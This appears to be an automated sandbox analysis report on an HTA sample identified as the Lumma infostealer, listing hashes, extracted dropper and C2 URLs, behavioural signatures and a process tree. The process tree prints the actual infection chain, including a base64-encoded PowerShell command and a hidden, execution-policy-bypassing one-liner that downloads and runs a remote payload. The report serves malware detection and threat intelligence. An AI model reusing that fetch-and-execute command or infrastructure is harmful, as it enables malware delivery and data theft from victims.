Resubmissions

07-01-2025 03:19

250107-dt8tqs1rc1 10

07-01-2025 03:10

250107-dpd4ka1pdv 10

07-01-2025 03:09

250107-dnmz3stlcp 10

07-01-2025 02:39

250107-c5hk9asmbl 10

Analysis

  • max time kernel
    59s
  • max time network
    60s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-01-2025 03:10

General

  • Target

    aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta

  • Size

    1.6MB

  • MD5

    dbf37b54acb5e3b86a3dc93ec3b7dc24

  • SHA1

    65100e3e23406a9f92880e202e4b006fd39f33d6

  • SHA256

    aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9

  • SHA512

    0f785989935702715872e6621ecf9ad003f5d3d9eb8396a32fa5c0506f636a979e5c98c292885207124029c05c6dd88df33d2b91b028cdb5055ce9000dac7ae9

  • SSDEEP

    24576:g/ISwmcPODvnBj3SoGDw/ISwmcPODvnBjc/ISwmcPODvnBj1/ISwmcPODvnBjf:g/IMcAYoGc/IMcAu/IMcAn/IMcAN

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://klipdiheqoe.shop/ruwkl.png

Extracted

Family

lumma

C2

https://grooveoiy.cyou/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3520
      • C:\Windows\SysWOW64\mshta.exe
        C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4448
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2276
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2500
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
        2⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        PID:2928

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      def65711d78669d7f8e69313be4acf2e

      SHA1

      6522ebf1de09eeb981e270bd95114bc69a49cda6

      SHA256

      aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

      SHA512

      05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      15KB

      MD5

      90c5a935e708f1b4866d8a9fdf397690

      SHA1

      0ce062087843f92e685761c6a43a903f7d062c26

      SHA256

      45f9799bfba26872c03e690892592e586772fef720d530fd34c0ffdc791c9e01

      SHA512

      d4a09d3c1a0760a65bd37a6e3536d0c8982a58a677624d2437be935a97584952a23d5ebe32d308b7a7b7b707c086dfed93d2691580a5ae0e0e2072b7a229f2cc

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k1cyq4uc.f5m.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2276-0-0x000000007447E000-0x000000007447F000-memory.dmp

      Filesize

      4KB

    • memory/2276-1-0x00000000046E0000-0x0000000004716000-memory.dmp

      Filesize

      216KB

    • memory/2276-2-0x0000000074470000-0x0000000074C20000-memory.dmp

      Filesize

      7.7MB

    • memory/2276-3-0x0000000004DF0000-0x0000000005418000-memory.dmp

      Filesize

      6.2MB

    • memory/2276-4-0x0000000004D10000-0x0000000004D32000-memory.dmp

      Filesize

      136KB

    • memory/2276-6-0x0000000005680000-0x00000000056E6000-memory.dmp

      Filesize

      408KB

    • memory/2276-5-0x0000000005610000-0x0000000005676000-memory.dmp

      Filesize

      408KB

    • memory/2276-16-0x0000000005800000-0x0000000005B54000-memory.dmp

      Filesize

      3.3MB

    • memory/2276-17-0x0000000005CB0000-0x0000000005CCE000-memory.dmp

      Filesize

      120KB

    • memory/2276-18-0x0000000005CE0000-0x0000000005D2C000-memory.dmp

      Filesize

      304KB

    • memory/2276-19-0x0000000006E80000-0x0000000006F16000-memory.dmp

      Filesize

      600KB

    • memory/2276-20-0x0000000006190000-0x00000000061AA000-memory.dmp

      Filesize

      104KB

    • memory/2276-21-0x00000000061E0000-0x0000000006202000-memory.dmp

      Filesize

      136KB

    • memory/2276-22-0x00000000074D0000-0x0000000007A74000-memory.dmp

      Filesize

      5.6MB

    • memory/2276-25-0x0000000074470000-0x0000000074C20000-memory.dmp

      Filesize

      7.7MB

    • memory/2500-32-0x0000000006270000-0x00000000065C4000-memory.dmp

      Filesize

      3.3MB

    • memory/2500-38-0x0000000008260000-0x00000000088DA000-memory.dmp

      Filesize

      6.5MB

    • memory/2500-40-0x0000000074470000-0x0000000074C20000-memory.dmp

      Filesize

      7.7MB

    • memory/2500-41-0x00000000218E0000-0x0000000021A14000-memory.dmp

      Filesize

      1.2MB

    • memory/2500-42-0x0000000021A10000-0x0000000021B3A000-memory.dmp

      Filesize

      1.2MB

    • memory/2500-58-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-60-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-82-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-92-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-90-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-88-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-86-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-84-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-80-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-78-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-76-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-74-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-72-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-70-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-66-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-64-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-68-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-62-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-56-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-54-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-52-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-50-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-48-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-104-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-102-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-100-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-98-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-96-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-94-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-46-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-44-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-43-0x0000000021A10000-0x0000000021B33000-memory.dmp

      Filesize

      1.1MB

    • memory/2500-1361-0x0000000007E00000-0x0000000007E84000-memory.dmp

      Filesize

      528KB

    • memory/2500-1362-0x00000000081A0000-0x0000000008220000-memory.dmp

      Filesize

      512KB

    • memory/2500-1363-0x0000000006BF0000-0x0000000006C3C000-memory.dmp

      Filesize

      304KB

    • memory/2500-1364-0x0000000021B40000-0x0000000021B94000-memory.dmp

      Filesize

      336KB